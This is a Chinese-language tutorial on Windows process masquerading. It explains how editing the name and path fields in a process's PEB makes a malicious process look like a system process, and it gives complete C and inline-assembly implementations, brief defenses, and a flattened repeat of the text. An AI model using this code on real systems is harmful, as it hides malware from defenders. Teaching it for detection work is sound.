进程伪装详解
字数 1116 2025-08-09 13:33:42

Windows进程伪装技术详解

一、进程伪装概述

进程伪装是一种权限维持技术,攻击者在获取主机权限后,通过修改进程信息使其看起来像系统关键进程,从而隐藏恶意行为。Windows系统中存在多个关键系统进程(如winlogon.exe、explorer.exe、services.exe等),这些进程是系统正常运行所必需的,因此伪装成这些进程可以有效规避检测。

二、技术原理

进程伪装的核心在于修改进程的两个关键信息:

  1. 进程名称
  2. 进程启动路径

这些信息存储在PEB(Process Environment Block,进程环境块)结构中。PEB包含了进程的环境信息,其完整结构如下:

typedef struct _PEB {
    BYTE Reserved1[2];
    BYTE BeingDebugged; // 被调试状态
    BYTE Reserved2[1];
    PVOID Reserved3[2];
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    BYTE Reserved4[104];
    PVOID Reserved5[52];
    PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
    BYTE Reserved6[128];
    PVOID Reserved7[1];
    ULONG SessionId;
} PEB, *PPEB;

三、关键API函数

1. NtQueryInformationProcess

位于ntdll.dll中,用于查询进程信息,需要动态获取:

__kernel_entry NTSTATUS NtQueryInformationProcess(
    [in] HANDLE ProcessHandle,
    [in] PROCESSINFOCLASS ProcessInformationClass,
    [out] PVOID ProcessInformation,
    [in] ULONG ProcessInformationLength,
    [out, optional] PULONG ReturnLength
);

2. 进程信息结构

当ProcessInformationClass参数为ProcessBasicInformation时,返回PROCESS_BASIC_INFORMATION结构:

typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PPEB PebBaseAddress;
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;

3. 内存读写函数

由于每个程序有独立的内存空间,需要使用以下函数进行跨进程内存操作:

BOOL ReadProcessMemory(
    [in] HANDLE hProcess,
    [in] LPCVOID lpBaseAddress,
    [out] LPVOID lpBuffer,
    [in] SIZE_T nSize,
    [out] SIZE_T *lpNumberOfBytesRead
);

BOOL WriteProcessMemory(
    [in] HANDLE hProcess,
    [in] LPVOID lpBaseAddress,
    [in] LPCVOID lpBuffer,
    [in] SIZE_T nSize,
    [out] SIZE_T *lpNumberOfBytesWritten
);

四、实现步骤

1. 获取PEB地址

有两种方法获取PEB地址:

方法一:通过NtQueryInformationProcess

PROCESS_BASIC_INFORMATION pbi = {0};
PEB peb = {0};
NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);

方法二:通过FS段寄存器(汇编实现)

mov eax,fs:[0x30]
mov PEB,eax

2. 定位关键参数

在PEB结构中:

  • 偏移0x20处是ProcessParameters(RTL_USER_PROCESS_PARAMETERS结构)
  • 在RTL_USER_PROCESS_PARAMETERS中:
    • 偏移0x60处是ImagePathName(可执行文件路径,UNICODE_STRING结构)
    • 偏移0x70处是CommandLine(命令行参数,UNICODE_STRING结构)

UNICODE_STRING结构:

  • Length字段:字符串长度
  • Buffer字段:指向字符串的指针

3. 修改进程信息

修改命令行信息:

USHORT CmdLen = 2 + 2 * wcslen(lpwszCmd);
WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);

修改路径信息:

USHORT PathLen = 2 + 2 * wcslen(lpwszPath);
WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);

五、完整实现代码

方法一:使用API函数

BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) {
    // 打开进程获取句柄
    HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess) {
        printf("[!] OpenProcess failed,error is : %d", GetLastError());
        return FALSE;
    }

    typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
    PROCESS_BASIC_INFORMATION pbi = {0};
    PEB peb = {0};
    RTL_USER_PROCESS_PARAMETERS Param = {0};
    USHORT CmdLen = 0;
    USHORT PathLen = 0;

    // 从ntdll.dll中获取NtQueryInformationProcess地址
    NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
        ::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
    if (NULL == NtQueryInformationProcess) {
        printf("[!] NtQueryInformationProcess failed,error is : %d\n\n", GetLastError());
        return FALSE;
    }

    // 获取指定进程的基本信息
    NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    if (!NT_SUCCESS(status)) {
        printf("[!] GetProcess information failed,error is : %d\n\n", GetLastError());
        return FALSE;
    }

    // 获取PebBaseAddress
    ::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
    // 获取ProcessParameters
    ::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

    // 修改命令行信息
    CmdLen = 2 + 2 * ::wcslen(lpwszCmd);
    ::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
    ::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);

    // 修改路径信息
    PathLen = 2 + 2 * ::wcslen(lpwszPath);
    ::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
    ::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);

    return TRUE;
}

方法二:使用汇编直接修改

BOOL DisguiseProcess(wchar_t* lpwszPath, wchar_t* lpwszCmd) {
    HANDLE hProcess = GetModuleHandle(NULL);
    PPEB peb = {0};
    USHORT usCmdLen = 0;
    USHORT usPathLen = 0;

    __asm {
        mov eax,fs:[30h]
        mov peb,eax
    }

    usCmdLen = 2 + 2 * wcslen(lpwszCmd);
    (*peb).ProcessParameters->CommandLine.Buffer = lpwszCmd;
    (*peb).ProcessParameters->CommandLine.Length = usCmdLen;

    usPathLen = 2 + 2 * wcslen(lpwszPath);
    (*peb).ProcessParameters->ImagePathName.Buffer = lpwszPath;
    (*peb).ProcessParameters->ImagePathName.Length = usPathLen;

    return TRUE;
}

六、防御措施

  1. 完整性检查:验证关键系统进程的完整性,检查其数字签名
  2. 行为监控:监控进程创建和修改行为,特别是对PEB结构的修改
  3. 内存保护:使用内存保护技术防止关键进程被注入
  4. 日志分析:定期分析系统日志,查找异常进程行为

七、总结

进程伪装是一种有效的权限维持技术,通过修改PEB结构中的进程信息,可以使恶意进程伪装成系统关键进程。防御方需要结合多种检测手段,包括静态特征检测、行为监控和日志分析等,才能有效识别此类攻击。

Windows进程伪装技术详解 一、进程伪装概述 进程伪装是一种权限维持技术,攻击者在获取主机权限后,通过修改进程信息使其看起来像系统关键进程,从而隐藏恶意行为。Windows系统中存在多个关键系统进程(如winlogon.exe、explorer.exe、services.exe等),这些进程是系统正常运行所必需的,因此伪装成这些进程可以有效规避检测。 二、技术原理 进程伪装的核心在于修改进程的两个关键信息: 进程名称 进程启动路径 这些信息存储在PEB(Process Environment Block,进程环境块)结构中。PEB包含了进程的环境信息,其完整结构如下: 三、关键API函数 1. NtQueryInformationProcess 位于ntdll.dll中,用于查询进程信息,需要动态获取: 2. 进程信息结构 当ProcessInformationClass参数为ProcessBasicInformation时,返回PROCESS_ BASIC_ INFORMATION结构: 3. 内存读写函数 由于每个程序有独立的内存空间,需要使用以下函数进行跨进程内存操作: 四、实现步骤 1. 获取PEB地址 有两种方法获取PEB地址: 方法一:通过NtQueryInformationProcess 方法二:通过FS段寄存器(汇编实现) 2. 定位关键参数 在PEB结构中: 偏移0x20处是ProcessParameters(RTL_ USER_ PROCESS_ PARAMETERS结构) 在RTL_ USER_ PROCESS_ PARAMETERS中: 偏移0x60处是ImagePathName(可执行文件路径,UNICODE_ STRING结构) 偏移0x70处是CommandLine(命令行参数,UNICODE_ STRING结构) UNICODE_ STRING结构: Length字段:字符串长度 Buffer字段:指向字符串的指针 3. 修改进程信息 修改命令行信息: 修改路径信息: 五、完整实现代码 方法一:使用API函数 方法二:使用汇编直接修改 六、防御措施 完整性检查 :验证关键系统进程的完整性,检查其数字签名 行为监控 :监控进程创建和修改行为,特别是对PEB结构的修改 内存保护 :使用内存保护技术防止关键进程被注入 日志分析 :定期分析系统日志,查找异常进程行为 七、总结 进程伪装是一种有效的权限维持技术,通过修改PEB结构中的进程信息,可以使恶意进程伪装成系统关键进程。防御方需要结合多种检测手段,包括静态特征检测、行为监控和日志分析等,才能有效识别此类攻击。